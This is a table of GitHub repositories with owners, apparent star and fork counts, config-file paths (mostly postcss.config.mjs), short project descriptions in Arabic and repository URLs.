| 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | نظام متكامل لتسجيل الوقت وتحديد المواعيد لخدمات السيارات، مبني باستخدام Next.js و TypeScript و TailwindCSS و Ant Design للواجهة الأمامية. يشمل بوابات للعملاء والموظفين وتتبع الخدمة في الوقت الفعلي وحجز المواعيد وتسجيل الوقت ونشر الحاويات. | https://github.com/WeerasingheMSC/ASMS_Frontend |
| 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/n_Krypted-frontend |
| 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | https://github.com/tanushbhootra576/Bionary-Website-Challenge-and-final |
| 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | تطبيق ويب يستخدم الذكاء الاصطناعي لتحويل ملفات PDF إلى مراجع من نوع أسئلة وأجوبة. يمكن للمستخدم تخصيص المخرجات التي تم إنشاؤها قبل الحفظ. يمكن للمستخدم مراجعة وإجراء اختبارات قابلة للتخصيص باستخدام هذا المراجع الذي تم إنشاؤه بواسطة الذكاء الاصطناعي. | https://github.com/Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND |
| 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/collegeConnect |
| 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | https://github.com/brown2020/ikigaifinder |
| 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/commision_portfolio |
| 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | دفتر تداول احترافي لتتبع وتحليل وتحسين أداء التداول عبر أنظمة وأطر زمنية مختلفة. | https://github.com/coderkhalide/Trading-Journal |
| 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | مشروع هاكاثون | https://github.com/tanushbhootra576/weather |
| 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/student-passed-rate-analysis-frontend |
| 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/pharmacy-management-frontend |
| 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/Employee-management-frontend |
| 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/e-commerce-frontend |
| 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/The_INTERNET_OF_AGENTS_HACKATHON |
| 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | مدرب الذكاء الاصطناعي المالي | https://github.com/ahmadraza382/FinanceAi |
| 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/turbo-happiness |
| 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/shaheeer-dev/sketchers |
| 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/game |
| 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/GridSaga |
| 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | أدوات أساسية، أداء فائق السرعة، وميزات جاهزة للعمل دون اتصال - مبنية لتبسيط سير عملك وإبقائك مركزًا على ما يهم: كتابة كود رائع. | https://github.com/senulahesara/devkit |
| 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/week3-forms-and-inputs |
| 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/PW-app |
| 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | https://github.com/tanushbhootra576/RESTRO |
| 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | https://github.com/tanushbhootra576/MoodSync |
| 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | مشروع التخرج (Capstone) هو تجربة أكاديمية وعملية تتويجية للطلاب في كل من برنامجي هندسة البرمجيات (SE) وعلوم الكمبيوتر والهندسة (CSE). | https://github.com/Amanbanti/Capstone |
| 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa هي منصة طب عن بعد قائمة على الويب تمكن المرضى من استشارة أطباء موثوقين من خلال مكالمات فيديو داخل التطبيق في الوقت الفعلي، وتلقي وصفات طبية رقمية، وإدارة رعايتهم الصحية عن بُعد في بيئة آمنة ومهنية. هذا نظام قابل للنشر والإنتاج، وليس عرضًا توضيحيًا أو نموذجًا أكاديميًا. | https://github.com/ShifaLabs/shifa |
| 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas هي منصة تجارة إلكترونية حديثة ومتكاملة تركز على بيع الأدوات والأجهزة المحمولة. تم بناؤها باستخدام Next.js و Redux Toolkit و MongoDB، وتوفر تجربة تسوق آمنة وسريعة الاستجابة وسلسة للمستخدمين وأدوات إدارة قوية للمسؤولين. | https://github.com/SouravDn-p/mobile-canvas-nextjs |
| 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/RinSanom/IoTWeb |
| 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews |
| 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | منصة دعم عملاء مدعومة بالذكاء الاصطناعي مع تكامل Gmail، وإصدار التذاكر الذكي، والردود الآلية، وتكامل Shopify، والتعاون الجماعي في الوقت الفعلي | https://github.com/Salman1205/MailAssist |
| 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | تجاوز المتصفحات داخل التطبيقات من تطبيقات وسائل التواصل الاجتماعي مثل Instagram و Facebook و TikTok وغيرها. أرسل المستخدمين إلى متصفحهم الأصلي عندما ينقرون على إعلانات وسائل التواصل الاجتماعي الخاصة بك لتحسين التفاعل والتتبع الدقيق وزيادة التحويلات. | https://github.com/Yassin-Younis/bypass-in-app-browser |
| 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — نظام إدارة مطالبات ذكي تم تطويره كمشروع ITPM في SLIIT (السنة 3، الفصل الدراسي 2). تم بناؤه باستخدام تقنية MERN لتبسيط وأتمتة عملية مطالبات التأمين بدقة وكفاءة. | https://github.com/Lithira-Silva/TrueClaim---ITPM- |
| 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | https://github.com/maaz-bin-hassan/sahoolat-web-new |
| 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | مشروع إدارة مشاريع تكنولوجيا المعلومات من الفصل الدراسي الثاني من السنة الثالثة وهو منصة تعليمية MODUS | https://github.com/Pramadu2001/ITPM_MODUS |
| 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/abimtad/upload_file |
| 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs \| travel_template/package/postcss.config.mjs \| travel_template/old/postcss.config.mjs | | https://github.com/anilgoswamistartbitsolutions/travel-platform |
| 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/AhsanalyOfficial/ahsan_portfolio |
| 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/HevenDev/rmw-new-design |
| 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs \| sites/luxurytravels/postcss.config.mjs | | https://github.com/anilgoswamistartbitsolutions/travel-payload-sites |
| 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs \| packages/ui/postcss.config.mjs | بناء سوق تنبؤات لمنصة استثمار مواضيعية لمحافظ استثمارية مستدامة | https://github.com/dhruvmalik007/solana-colossum-hackathon |
| 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Tiewasters99/AI_Law_Wizard |
| 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | تكوين وتقييم صفقات التداول الخاصة بك باستخدام عوامل مرجحة، وتقييم العوامل الفردية، ونقاط المكافأة، ودرجات الحروف | https://github.com/coderkhalide/scalping-trading-tools |
| 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/monazahmed/Agrismart-project- |
| 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Gowreesh-VT/SherlockIT |
| 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/webprogramminghack/b3-practice-30 |
| 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | https://github.com/Salman1205/Mail-Assist-CRM |
| 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/AbdulwahidHusein/Shipper-chat |
| 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | https://github.com/michelzappy/zappy-scratch-091225 |
| 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - منصة تعليمية متعددة المدربين باستخدام FastAPI و React و MongoDB و Stripe Payments و AI Tutor | https://github.com/Ali-Hamas/Learn_Hub |
| 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | مستودع الواجهة الخلفية. | https://github.com/VALENSAPP/coin_backend |
| 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | https://github.com/QaisarWaheed/Aluminum-POS |
| 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | تطبيق UP SKale AI للطلاب (المتعلمين) و (الكاسبين) (مشروع التخرج) | https://github.com/Abdulbasit219/UPSkaleAI |
| 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Satyam3002/nextauth |
| 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Hospital-management-system |
| 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AKDebug-UX/challengePR |
| 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Ruwanima/ella-south-star-frontend |
| 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Luxeurs-Shopping-Store |
| 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmadraza382/Portfolio |
| 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | شارك فريقنا في هاكاثون كاتي للشباب 2025 ونحن نبني موقعًا إلكترونيًا كامل الوظائف مع روبوت محادثة مدمج سيكون بمثابة مستشار مهني يوجه الطلاب لمسارهم المهني | https://github.com/Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- |
| 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/WimpyvL/Zappy-Health-Dashboard |
| 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/ifedolapoomoniyi/fleet-robotics |
| 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor |
| 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | مشروع تدريبي لنموذج متعدد الخطوات في React | https://github.com/vkrms/wizard |
| 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | تطبيق ويب حديث ومركز لمساعدتك في بناء وإتقان المفردات الإنجليزية من خلال التعلم التفاعلي وجلسات الممارسة وتتبع التقدم. | https://github.com/Atik203/VocabPrep |
| 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | يتضمن مشاريعي وخبراتي وشهاداتي وجهات اتصالي. | https://github.com/web-ghoul/Portfolio |
| 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AbdulwahidHusein/ai-tools-directory |
| 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AhmadRazaKhokhar1/resturants-app |
| 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News هو تطبيق إخباري مبني على Next.js يقدم محتوى إخباريًا مصنفًا مثل السياسة والرياضة والتكنولوجيا والترفيه والتحديثات المباشرة مع أداء سريع وتحسين محركات البحث والعرض من جانب الخادم. | https://github.com/ishivamgaur/Ap-news-next-js |
| 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/amMubbasher/cleannami.ceenami-old |
| 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/AbdulwahidHusein/crawler-dashboard |
| 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | تطبيق ويب للمزادات في الوقت الفعلي مبني لتجارب المزايدة المباشرة، يجمع بين ميزات متقدمة مثل التحديثات الفورية والمزايدة الذكية والتواصل في الوقت الفعلي بين المستخدمين. | https://github.com/SouravDn-p/RexAuction |
| 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | https://github.com/AKDebug-UX/interactive-tv-app |
| 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | https://github.com/usman-174/VidSpark |
| 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | https://github.com/NatyJoseDie/proyecto-nginx |
| 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | https://github.com/AKDebug-UX/DoneWithIt |
| 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/dhruvmalik007/forensics-board |
| 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Rahulkumarhavit/ProStore-Ecommerce |
| 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | https://github.com/Bart3kL/shopify-components |
| 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mjatin-dev/logic-zephyr |
| 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/umrasghar/heygen-demo |
| 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs \| Problem-3/postcss.config.mjs | | https://github.com/thanhdanh111/challenge |
| 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/hamza-nafasat/rentin-frontend |
| 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps هي لوحة تحكم تشغيلية داخلية كاملة المكدس مصممة للوكالات والشركات الصغيرة لإدارة العملاء والمشاريع وأعضاء الفريق وسير العمل بشكل آمن. | https://github.com/rejoan121615/ClientOps |
| 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SouravDn-p/CMR |
| 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/EmanDeveloper/EasyTech |
| 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/25-5-clock |
| 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | https://github.com/MSCPerera/Job-Board-App |
| 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Nathanim1919/nextjs-project |
| 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | https://github.com/TimothyBabatu13/AegisHealth-Smart |
| 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Senti-fi/Senti.fi |
| 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Zentaurios/stable-monitor |
| 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SouravDn-p/Frontend-task |
| 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Storaboy11/meerge |
| 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ahmedghonim/esraa |
| 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/vrunda310/AIA-VEGA-Frontend |
| 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/emmanueldavidson96/popular_saas_product_landing_page |
| 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/pratikp72/deal-Project |
| 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/file_sure |
| 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/waris-ansar/finstar |
| 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MianHaziq/LKnight-Lms |
| 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/pankajkhadse/TrustBasket |
| 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/adnaan-2/content-generation |
| 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/malikjunaidhassann/seller-panel |
| 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mdnuruzzamannirob/your-capture-awards-dashboard |
| 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | كل رغباتك في مكان واحد | https://github.com/Minahil48/NY-caffine |
| 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FrazKhan1/dev-team-chat |
| 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/jrioscloud/financial-document-analyzer |
| 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/seemab-ahmed/rodopi |
| 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/JudeTejada/digital-pods |
| 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/msuhels/RapidProject-Pos-System |
| 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/project_5_frontend |
| 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abdullah2310ishaq/afronaut |
| 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Jaskaran2701/Test-1 |
| 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Deepanshu7-bit/nugen-interns |
| 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/saifullah-max/bublr |
| 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Meet2054/automa8x-production-new |
| 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/bharatbrovitech/india-to-germany |
| 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/PanchangCalendar |
| 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Pa-ppy/Checkout |
| 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/als-admin |
| 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | بناء نظام إدارة تعلم (LMS) باستخدام Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, , Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3,aws CloudFront,Clerk, | https://github.com/Dawit212119/Devodemy |
| 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager نظام إدارة مخزون كامل المكدس مبني باستخدام Next.js 14 App Router و Tailwind CSS و MongoDB و Redux Toolkit (RTK Query). يدعم هذا التطبيق المصادقة الاجتماعية عبر NextAuth.js (Google, GitHub) وتسجيل الدخول التقليدي بالبريد الإلكتروني/كلمة المرور باستخدام JWT. | https://github.com/SouravDn-p/NextManager-YourInventoryManager |
| 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/ranjannkumar/Token-Vesting-App |
| 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Usamahafiz8/fetchdetails |
| 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/freelancework00700/CRM-test-task |
| 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | الحصول على بيانات من APIs فقط للممارسة والتجريب | https://github.com/ahmadraza382/APIs-integration |
| 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/akashmuhammadabrrar/Resume-builder-NextTypescript |
| 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/abimtad/Customer-feedback |
| 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/SanjayaPrasadRajapaksha/Blog_App |
| 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/MunibQazi12/next-starter-template |
| 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/PremShakti/multi-tenet-school-profile-app |
| 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/mirzaghalib4726/committee-system-next |
| 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | نظام مصادقة آمن وسهل الاستخدام | https://github.com/ChiraniSiriwardhana/Spirit11 |
| 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/developerdesigner18/Frontend-Task |
| 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/noors-code/Account-Settings |
| 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | تطبيق Vovk.ts Hello World | https://github.com/finom/vovk-hello-world |
| 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | موقع لتعلم المفردات | https://github.com/Yashpreetrana4790/Bestvocabulary_platform |
| 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Atif-Hameed/unsigned-admin |
| 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/saifullah-max/mandviwalla-mauser |
| 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Navoda001/Solana |
| 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/wolfstudiosai/braxx-frontend-v2 |
| 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/cywasay/neorecruits- |
| 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/raoarafat/steelh-website |
| 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Qasim-dev/stock-tracker |
| 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/teresagrobecker/pensio_consortia |
| 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/Raise-Your-Hack |
| 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | تقديم مسابقة هاكاثون XRPL: تطوير إطار عمل وكيل RAG لمراقبة الأسعار وصنع السوق لشهادات الأثر | https://github.com/dhruvmalik007/xrpl_haks_hackathon_project |
| 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/EGA |
| 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | مهمة شهادة مكتبات الواجهة الأمامية لـ Free codecamp | https://github.com/addis-ale/free_code_camp_task_01 |
| 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/addis-ale/gd-landing-page |
| 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/purple-cat-client |
| 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/apparel-trade-bd |
| 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/hyshin |
| 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Al-amin07/web-programming-lab |
